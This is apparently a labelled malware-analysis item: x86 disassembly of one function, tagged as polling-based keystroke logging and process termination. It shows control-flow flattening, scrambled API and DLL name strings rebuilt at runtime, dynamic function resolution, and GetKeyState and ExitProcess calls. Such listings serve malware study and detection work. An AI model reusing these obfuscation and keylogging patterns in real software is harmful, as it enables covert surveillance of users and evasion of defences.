Function at 0x1004c4c0
Capabilities:
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
mov eax, dword [ebp + 0x10]
push ebx
push esi
lea ecx, [eax + 0xa5f]
push edi
mov edi, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x128], ecx
cmp eax, ecx
ja 0x1004d24d
mov esi, dword [ebp - 0x1c]
xor ebx, ebx
lea ecx, [ecx]
cmp edi, 0x2641
ja 0x1004c6b0
je 0x1004c6a2
lea eax, [edi - 0x2542]
cmp eax, 0xf0
ja case.0x1004cf7b.10619
movzx eax, byte [eax + 0x1004d378]
jmp dword [eax*4 + 0x1004d330]
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 2]
mov dl, byte [eax + 3]
mov byte [ebp - 0x45], cl
mov byte [ebp - 0x49], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x28]
mov cx, word [eax]
mov word [ebp - 0xd4], cx
jmp case.0x1004cf7b.10619
mov edx, dword [ebp - 0x10]
mov al, byte [edx + 0xf]
mov byte [ebp - 0x4f], al
mov byte [ebp - 0x40], bl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 0xa]
mov dl, byte [eax + 0xb]
mov byte [ebp - 0x50], cl
mov byte [ebp - 0x4a], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 4]
mov dl, byte [eax + 5]
mov byte [ebp - 0x48], cl
mov byte [ebp - 0x46], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x28]
mov cx, word [eax + 2]
mov dx, word [eax + 4]
mov word [ebp - 0xdc], cx
mov word [ebp - 0xce], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 0xe]
mov byte [ebp - 0x42], cl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov dl, byte [eax + 8]
mov al, byte [eax + 9]
mov byte [ebp - 0x4e], dl
mov byte [ebp - 0x47], al
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 0xc]
mov dl, byte [eax + 0xd]
mov byte [ebp - 0x41], cl
mov byte [ebp - 0x44], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x10]
mov cl, byte [eax + 6]
mov dl, byte [eax + 7]
mov byte [ebp - 0x4d], cl
mov byte [ebp - 0x43], dl
jmp case.0x1004cf7b.10619
xor eax, eax
mov word [ebp - 0xc8], ax
mov dword [ebp - 0x18], str.EvtneAeCtaer
mov byte [ebp - 0x36], 0x45
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x28]
mov dx, word [ecx + 0x10]
mov word [ebp - 0xda], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x28]
mov cx, word [eax + 6]
mov dx, word [eax + 8]
mov ax, word [eax + 0xa]
mov word [ebp - 0xcc], cx
mov word [ebp - 0xd8], dx
mov word [ebp - 0xde], ax
jmp case.0x1004cf7b.10619
mov dword [ebp - 0x28], str.3vdlpdl.aa2i
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x28]
mov cx, word [eax + 0x12]
mov dx, word [eax + 0x14]
mov ax, word [eax + 0x16]
mov word [ebp - 0xe0], cx
mov word [ebp - 0xd2], dx
mov word [ebp - 0xd6], ax
jmp case.0x1004cf7b.10619
mov dword [ebp - 0x10], str.reticSStteSvsaue
mov word [ebp - 0x4c], 0x7265
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x28]
mov cx, word [eax + 0xc]
mov dx, word [eax + 0xe]
mov word [ebp - 0xca], cx
mov word [ebp - 0xd0], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
mov cl, byte [eax + 1]
mov byte [ebp - 0x35], cl
jmp case.0x1004cf7b.10619
cmp edi, 0x274f
ja 0x1004c8ba
je 0x1004c89a
lea eax, [edi - 0x2650]
cmp eax, 0xf0
ja case.0x1004cf7b.10619
movzx edx, byte [eax + 0x1004d4b8]
jmp dword [edx*4 + 0x1004d46c]
mov eax, dword [ebp - 0x24]
mov cx, word [eax + 0x12]
mov dx, word [eax + 0x14]
mov ax, word [eax + 0x16]
mov word [ebp - 0xfc], cx
mov word [ebp - 0xf4], dx
mov word [ebp - 0xee], ax
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x24]
mov dx, word [ecx + 0xa]
mov word [ebp - 0xf8], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x24]
mov cx, word [eax + 0xc]
mov dx, word [eax + 0xe]
mov ax, word [eax + 0x10]
mov word [ebp - 0xec], cx
mov word [ebp - 0xe6], dx
mov word [ebp - 0xf2], ax
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
mov cl, byte [eax + 5]
mov dl, byte [eax + 6]
mov byte [ebp - 0x31], cl
mov byte [ebp - 0x37], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + 1]
mov dl, byte [eax + 2]
mov byte [ebp - 0x89], cl
mov byte [ebp - 0x8f], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x24]
mov cx, word [eax + 2]
mov word [ebp - 0xe8], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
movzx edx, byte [eax + 4]
mov cl, byte [eax + 5]
mov byte [ebp - 0x88], dl
movzx edx, byte [eax + 6]
mov byte [ebp - 0x85], cl
mov byte [ebp - 0x83], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + 3]
mov byte [ebp - 0x8c], cl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
mov dl, byte [eax + 3]
mov al, byte [eax + 4]
mov byte [ebp - 0x33], dl
mov byte [ebp - 0x3a], al
jmp case.0x1004cf7b.10619
xor ecx, ecx
mov word [ebp - 0xe4], cx
mov dword [ebp + 0x10], str.SeeunieottrryrrtDACc
mov byte [ebp - 0x90], 0x53
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x24]
mov dx, word [eax + 6]
mov ax, word [eax + 8]
mov word [ebp - 0xf0], dx
mov word [ebp - 0xea], ax
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x24]
mov dx, word [ecx + 4]
mov word [ebp - 0xfa], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
mov cl, byte [eax + 0xb]
mov byte [ebp - 0x3b], cl
jmp case.0x1004cf7b.10619
mov edx, dword [ebp - 0x18]
mov al, byte [edx + 7]
mov byte [ebp - 0x3c], al
jmp case.0x1004cf7b.10619
mov ecx, 0x6e
mov byte [ebp - 0x30], bl
mov dword [ebp - 0x24], str.nle3dr.llke2
mov word [ebp - 0xf6], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
movzx edx, byte [eax + 8]
mov cl, byte [eax + 9]
mov byte [ebp - 0x32], dl
movzx edx, byte [eax + 0xa]
mov byte [ebp - 0x39], cl
mov byte [ebp - 0x34], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x18]
mov cl, byte [eax + 2]
mov byte [ebp - 0x38], cl
jmp case.0x1004cf7b.10619
push ebx
push ebx
push ebx
push 0x343
push ebx
call fcn.1002dbc0
mov edx, dword [ebp + 0xc]
add esp, 0x14
mov dword [edx], eax
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + 7]
mov dl, byte [eax + 8]
mov al, byte [eax + 9]
mov byte [ebp - 0x80], cl
mov byte [ebp - 0x8e], dl
mov byte [ebp - 0x87], al
jmp case.0x1004cf7b.10619
cmp edi, 0x285d
ja 0x1004ca78
je 0x1004ca64
lea eax, [edi - 0x275e]
cmp eax, 0xf0
ja case.0x1004cf7b.10619
movzx ecx, byte [eax + 0x1004d5f4]
jmp dword [ecx*4 + 0x1004d5ac]
mov edx, 0x6c
mov dword [ebp - 0x13e], 0x2e0032
mov dword [ebp - 0x13a], 0x6c0064
mov word [ebp - 0x136], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + 0x11]
mov dl, byte [eax + 0x12]
mov byte [ebp - 0x7d], cl
mov byte [ebp - 0x8d], dl
jmp case.0x1004cf7b.10619
mov eax, 0x33
mov word [ebp - 0x140], ax
jmp case.0x1004cf7b.10619
mov ecx, 0x6b
mov word [ebp - 0x14c], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov dl, byte [eax + 0xd]
mov al, byte [eax + 0xe]
mov byte [ebp - 0x84], dl
mov byte [ebp - 0x7f], al
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 3]
mov dl, byte [eax + 4]
mov byte [ebp - 0x5e], cl
mov byte [ebp - 0x58], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 5]
mov dl, byte [eax + 6]
mov byte [ebp - 0x53], cl
mov byte [ebp - 0x5a], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov cl, byte [eax + 0xc]
mov byte [ebp - 0x7e], cl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
movzx edx, byte [eax + 7]
mov cl, byte [eax + 8]
mov byte [ebp - 0x57], dl
movzx edx, byte [eax + 9]
mov byte [ebp - 0x54], cl
mov byte [ebp - 0x63], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 1]
mov dl, byte [eax + 2]
mov byte [ebp - 0x5b], cl
mov byte [ebp - 0x52], dl
jmp case.0x1004cf7b.10619
mov eax, 0x72
mov ecx, 0x6c
mov word [ebp - 0x148], ax
mov dword [ebp - 0x146], 0x65006e
mov word [ebp - 0x142], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov dl, byte [eax + 0xf]
mov al, byte [eax + 0x10]
mov byte [ebp - 0x81], dl
mov byte [ebp - 0x86], al
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp + 0x10]
mov dl, byte [ecx + 0x13]
mov byte [ebp - 0x82], dl
jmp case.0x1004cf7b.10619
xor eax, eax
mov word [ebp - 0x134], ax
mov dword [ebp - 0xc], str.tDAteyicreosetmyrSG
mov byte [ebp - 0x56], 0x74
jmp case.0x1004cf7b.10619
mov byte [ebp - 0x7c], bl
jmp case.0x1004cf7b.10619
mov ecx, 0x65
mov word [ebp - 0x14a], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp + 0x10]
mov dl, byte [eax + 0xa]
mov al, byte [eax + 0xb]
mov byte [ebp - 0x8b], dl
mov byte [ebp - 0x8a], al
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0xa]
mov dl, byte [eax + 0xb]
mov byte [ebp - 0x55], cl
mov byte [ebp - 0x5f], dl
jmp case.0x1004cf7b.10619
cmp edi, 0x296b
ja 0x1004cf51
je 0x1004cf40
lea eax, [edi - 0x286c]
cmp eax, 0xf0
ja case.0x1004cf7b.10619
movzx eax, byte [eax + 0x1004d730]
jmp dword [eax*4 + 0x1004d6e8]
push 0x400
lea ecx, [ebp - 0x608]
push ecx
call dword [ebp - 0x12c]
lea edx, [ebp - 0x608]
push edx
call dword [ebp - 0x11c]
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0xf]
mov dl, byte [eax + 0x10]
mov byte [ebp - 0x60], cl
mov byte [ebp - 0x59], dl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0xc]
mov dl, byte [eax + 0xd]
mov al, byte [eax + 0xe]
mov byte [ebp - 0x5d], cl
mov byte [ebp - 0x62], dl
mov byte [ebp - 0x5c], al
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0xc]
mov cl, byte [eax + 0x11]
mov dl, byte [eax + 0x12]
mov byte [ebp - 0x61], cl
mov byte [ebp - 0x64], dl
jmp case.0x1004cf7b.10619
push ebx
push ebx
push ebx
push ebx
push 0x3988
call fcn.10050c10
add esp, 0x14
cmp al, bl
jne 0x1004cb92
mov esi, 0x2627
lea esp, [esp]
mov eax, esi
sub eax, 0x2627
je 0x1004cb44
sub eax, 0x3c
je case.0x1004cd74.18
jmp 0x1004cb87
lea eax, [ebp - 8]
push eax
push ebx
push 0x252b
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x208]
push edx
mov dword [ebp - 8], 0x9c
mov dword [ebp - 4], ebx
call fcn.100654b0
add esp, 0x14
lea ecx, [ebp - 0x208]
push ecx
push 0xffffffffffffffff
mov eax, 0x9c
push ebx
mov word [ebp - 0x1e4], ax
call dword [sym.imp.USER32.dll_EnumDisplaySettingsA]
add esi, 0x3c
cmp esi, 0x2663
jbe 0x1004cb30
cmp dword [ebp - 0x118], 0xb7
je 0x1004d305
mov edi, 0x4939
mov esi, 0x14
lea esp, [esp]
mov eax, edi
sub eax, 0x4939
je 0x1004cceb
sub eax, 0x5d
je 0x1004ccdf
sub eax, 0x5d
jne 0x1004cd0e
push ebx
push ebx
push ebx
push 0x161b
push ebx
call fcn.10028510
add esp, 0x14
cmp al, bl
jne 0x1004cd0e
xor esi, esi
lea ebx, [ebx]
cmp esi, 0xa0
ja case.0x1004cc03.1
movzx edx, byte [esi + 0x1004d83c]
jmp dword [edx*4 + 0x1004d824]
mov edx, 0x67
mov eax, 0x69
mov dword [ebp - 0xa2], 0x6e0069
mov word [ebp - 0x9e], dx
jmp case.0x1004cc03.1
xor eax, eax
mov word [ebp - 0x9c], ax
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x114], ebx
jmp case.0x1004cc03.1
mov ecx, 0x72
mov dword [ebp - 0xa8], 0x740053
mov word [ebp - 0xa4], cx
jmp case.0x1004cc03.1
lea edx, [ebp - 4]
push edx
push ebx
push 0x252b
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x16c]
push ecx
mov dword [ebp - 4], 0x10
mov dword [ebp - 8], ebx
call fcn.100654b0
lea eax, [ebp - 0xa8]
add esp, 0x14
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x1004cc90
sub eax, edx
mov edx, dword [ebp - 0x114]
push ebx
push edx
lea ecx, [ebp - 0x16c]
push ecx
sar eax, 1
push eax
mov eax, dword [ebp - 0x120]
lea edx, [ebp - 0xa8]
push edx
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
add esi, 0x28
lea ecx, [esi + 0x7d95]
cmp ecx, 0x7e35
jbe 0x1004cbf0
mov esi, 0x14
jmp 0x1004cd0e
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
jmp 0x1004cd0e
lea eax, [ebp - 4]
push eax
push ebx
push 0x252b
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x78]
push edx
mov dword [ebp - 4], esi
mov dword [ebp - 8], ebx
call fcn.100654b0
add esp, 0x14
mov dword [ebp - 0x78], esi
add edi, 0x5d
cmp edi, 0x49f3
jbe 0x1004cbb0
jmp 0x1004d302
mov eax, dword [ebp - 0x20]
mov cx, word [eax + 0x16]
mov word [ebp - 0xb6], cx
jmp case.0x1004cf7b.10619
push ebx
push ebx
push 0x2f0f
push ebx
call fcn.100497f0
add esp, 0x10
push eax
push ebx
push 1
push ebx
call dword [ebp - 0x100]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x118], eax
cmp esi, ebx
jne 0x1004d305
xor esi, esi
cmp esi, 0x12
ja case.0x1004cd74.1
movzx edx, byte [esi + 0x1004d8f4]
jmp dword [edx*4 + 0x1004d8e0]
lea eax, [ebp - 4]
push eax
push ebx
push 0x252b
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x15c]
push edx
mov dword [ebp - 4], 0x10
mov dword [ebp - 8], ebx
call fcn.100654b0
add esp, 0x14
jmp case.0x1004cd74.1
mov dword [ebp - 0x10c], ebx
mov dword [ebp - 0x104], 4
mov dword [ebp - 0x124], ebx
jmp case.0x1004cd74.1
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x104]
push eax
mov eax, dword [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x15c]
push edx
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
add esi, 6
lea ecx, [esi + 0x4449]
cmp ecx, 0x445b
jbe 0x1004cd68
jmp 0x1004d305
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x50]
push ecx
xor edx, edx
push 0x53b0
mov word [ebp - 0xac], dx
call fcn.10062d30
add esp, 0xc
mov dword [ebp - 0x108], eax
jmp case.0x1004cf7b.10619
mov dword [ebp - 0x14], 0xf1
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x20]
movzx edx, word [eax]
mov cx, word [eax + 2]
mov word [ebp - 0xc0], dx
movzx edx, word [eax + 4]
mov word [ebp - 0xbe], cx
mov word [ebp - 0xb4], dx
jmp case.0x1004cf7b.10619
mov byte [ebp - 0x51], bl
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x20]
mov cx, word [eax + 0xc]
mov dx, word [eax + 0xe]
mov ax, word [eax + 0x10]
mov word [ebp - 0xae], cx
mov word [ebp - 0xc4], dx
mov word [ebp - 0xb0], ax
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x20]
mov cx, word [eax + 6]
mov dx, word [eax + 8]
mov word [ebp - 0xbc], cx
mov word [ebp - 0xba], dx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x20]
mov cx, word [eax + 0xa]
mov word [ebp - 0xc2], cx
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x20]
mov dx, word [eax + 0x12]
mov ax, word [eax + 0x14]
mov word [ebp - 0xb2], dx
mov word [ebp - 0xb8], ax
jmp case.0x1004cf7b.10619
lea ecx, [ebp - 0xfc]
push ecx
lea edx, [ebp - 0x3c]
push edx
push 0x53b0
call fcn.10062d30
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x14c]
push eax
lea ecx, [ebp - 0x90]
push ecx
push 0x53b0
call fcn.10062d30
lea edx, [ebp - 0xc4]
mov dword [ebp - 0x11c], eax
push edx
lea eax, [ebp - 0x64]
push eax
push 0x53b0
call fcn.10062d30
add esp, 0x24
mov dword [ebp - 0x12c], eax
jmp case.0x1004cf7b.10619
mov dword [ebp - 0x20], str.rn.elelkld32
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x14]
shl ecx, 8
or ecx, 0x61
mov dword [ebp - 0x14], ecx
jmp case.0x1004cf7b.10619
cmp edi, 0x369a
ja 0x1004d236
je 0x1004d1d3
lea eax, [edi - 0x297a]
cmp eax, 0x87
ja case.0x1004cf7b.10619
movzx edx, byte [eax + 0x1004d934]
jmp dword [edx*4 + 0x1004d908]
inc dword [0x100794b8]
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x14]
shl eax, 8
or eax, 0x8e
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x130], ebx
jmp case.0x1004cf7b.10619
lea ecx, [ebp - 4]
push ecx
push ebx
push 0x252b
lea edx, [ebp - 8]
push edx
push 0x100794b0
mov dword [ebp - 4], 0x1c
mov dword [ebp - 8], ebx
call fcn.100654b0
add esp, 0x14
add dword [0x100794b0], 0x20
jmp case.0x1004cf7b.10619
mov eax, dword [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetMenuContextHelpId]
jmp case.0x1004cf7b.10619
push ebx
push 0x32f
push ebx
call fcn.10064970
add esp, 0xc
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 4]
push edx
push 0xa73
mov dword [ebp - 4], ecx
call fcn.1004c380
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x1004d058
mov ecx, 0x6b7f
nop
mov eax, ecx
sub eax, 0x6b7f
je 0x1004d043
sub eax, 0x2d
jne 0x1004d04d
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_GetKeyState]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x110], 0xa0
add ecx, 0x2d
cmp ecx, 0x6bac
jbe 0x1004d020
push ebx
push ebx
push ebx
push 0x385
push ebx
call int.1003b530
add esp, 0x14
push 0x1006d6c0
push eax
call esi
mov dword [0x1007985c], eax
jmp 0x1004d305
mov eax, dword [0x1007985c]
push 0x100794b0
push eax
call dword [ebp - 0x108]
jmp case.0x1004cf7b.10619
mov ecx, dword [ebp - 0x14]
shl ecx, 8
or ecx, 0x42
mov dword [ebp - 0x14], ecx
jmp case.0x1004cf7b.10619
add dword [0x100794b4], 4
jmp case.0x1004cf7b.10619
cmp dword [0x1007985c], ebx
jne case.0x1004cf7b.10619
mov eax, 0x3309
nop
cmp eax, 0x34ee
ja 0x1004d144
je 0x1004d13c
cmp eax, 0x33cb
ja 0x1004d10d
je 0x1004d102
mov ecx, eax
sub ecx, 0x3309
je 0x1004d0f5
sub ecx, 0x61
jne 0x1004d1c0
mov dl, byte [esi]
mov cl, byte [esi + 1]
mov byte [ebp - 0x6c], dl
mov byte [ebp - 0x71], cl
jmp 0x1004d1c0
mov esi, str.naeeiswMWdswoNeg
mov dword [ebp - 0x1c], esi
jmp 0x1004d1c0
mov dl, byte [esi + 2]
mov byte [ebp - 0x77], dl
jmp 0x1004d1c0
mov ecx, eax
sub ecx, 0x342c
je 0x1004d12b
sub ecx, 0x61
jne 0x1004d1c0
mov cl, byte [esi + 5]
mov byte [ebp - 0x73], cl
jmp 0x1004d1c0
mov dl, byte [esi + 3]
mov cl, byte [esi + 4]
mov byte [ebp - 0x6f], dl
mov byte [ebp - 0x6d], cl
jmp 0x1004d1c0
mov dl, byte [esi + 6]
mov byte [ebp - 0x76], dl
jmp 0x1004d1c0
cmp eax, 0x3611
ja 0x1004d196
je 0x1004d180
mov ecx, eax
sub ecx, 0x354f
je 0x1004d16a
sub ecx, 0x61
jne 0x1004d1c0
mov cl, byte [esi + 0xa]
mov dl, byte [esi + 0xb]
mov byte [ebp - 0x72], cl
mov byte [ebp - 0x69], dl
jmp 0x1004d1c0
movzx ecx, byte [esi + 7]
mov dl, byte [esi + 8]
mov byte [ebp - 0x75], cl
movzx ecx, byte [esi + 9]
mov byte [ebp - 0x6e], dl
mov byte [ebp - 0x6b], cl
jmp 0x1004d1c0
movzx edx, byte [esi + 0xc]
mov cl, byte [esi + 0xd]
mov byte [ebp - 0x6a], dl
movzx edx, byte [esi + 0xe]
mov byte [ebp - 0x78], cl
mov byte [ebp - 0x74], dl
jmp 0x1004d1c0
mov ecx, eax
sub ecx, 0x3672
je 0x1004d1b7
sub ecx, 0x61
jne 0x1004d1c0
lea ecx, [ebp - 0x78]
push ecx
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, byte [esi + 0xf]
mov byte [ebp - 0x70], cl
mov byte [ebp - 0x68], bl
add eax, 0x61
cmp eax, 0x36d3
jbe 0x1004d0c0
jmp case.0x1004cf7b.10619
xor esi, esi
cmp dword [0x1007c420], ebx
jle 0x1004d22b
lea ecx, [ecx]
mov edx, dword [0x1007c418]
mov edi, dword [edx + esi*4]
mov edx, dword [ebp + 0xc]
lea ecx, [edi + 0x11c0]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x1004d212
cmp al, bl
je 0x1004d20e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x1004d212
add ecx, 2
add edx, 2
cmp al, bl
jne 0x1004d1f2
xor eax, eax
jmp 0x1004d217
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1004d327
inc esi
cmp esi, dword [0x1007c420]
jl 0x1004d1e0
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x98], ebx
jmp 0x1004d305
mov eax, edi
sub eax, 0x36a9
je 0x1004d285
sub eax, 0xf
je 0x1004d25a
sub eax, 0xf
jne case.0x1004cf7b.10619
mov eax, dword [ebp - 0x94]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [eax], ebx
je 0x1004d274
push 0x1007a13c
push ebx
push 0x37e1
call fcn.10005970
add esp, 0xc
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x94], ecx
jmp case.0x1004cf7b.10619
mov edx, dword [ebp + 8]
cmp dword [edx], ebx
je 0x1004d29f
push ebx
push 0x1007a13c
push 0x4a79
call fcn.10003820
add esp, 0xc
mov esi, dword [0x1007c158]
cmp esi, 0x1007c158
je 0x1004d2fb
lea ecx, [ecx]
mov ecx, dword [ebp + 0xc]
lea edi, [esi - 0x28]
lea eax, [edi + 0x11c0]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1004d2e0
cmp dl, bl
je 0x1004d2dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x1004d2e0
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x1004d2c0
xor eax, eax
jmp 0x1004d2e5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x1004d2f5
mov esi, dword [esi]
cmp esi, 0x1007c158
jne 0x1004d2b0
jmp 0x1004d2fb
mov dword [ebp - 0x98], edi
mov dword [ebp - 0x2c], 0x36a9
mov edi, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
add edi, 0xf
mov dword [ebp - 0x2c], edi
cmp edi, dword [ebp - 0x128]
jbe 0x1004c4f0
mov eax, dword [ebp - 0x94]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret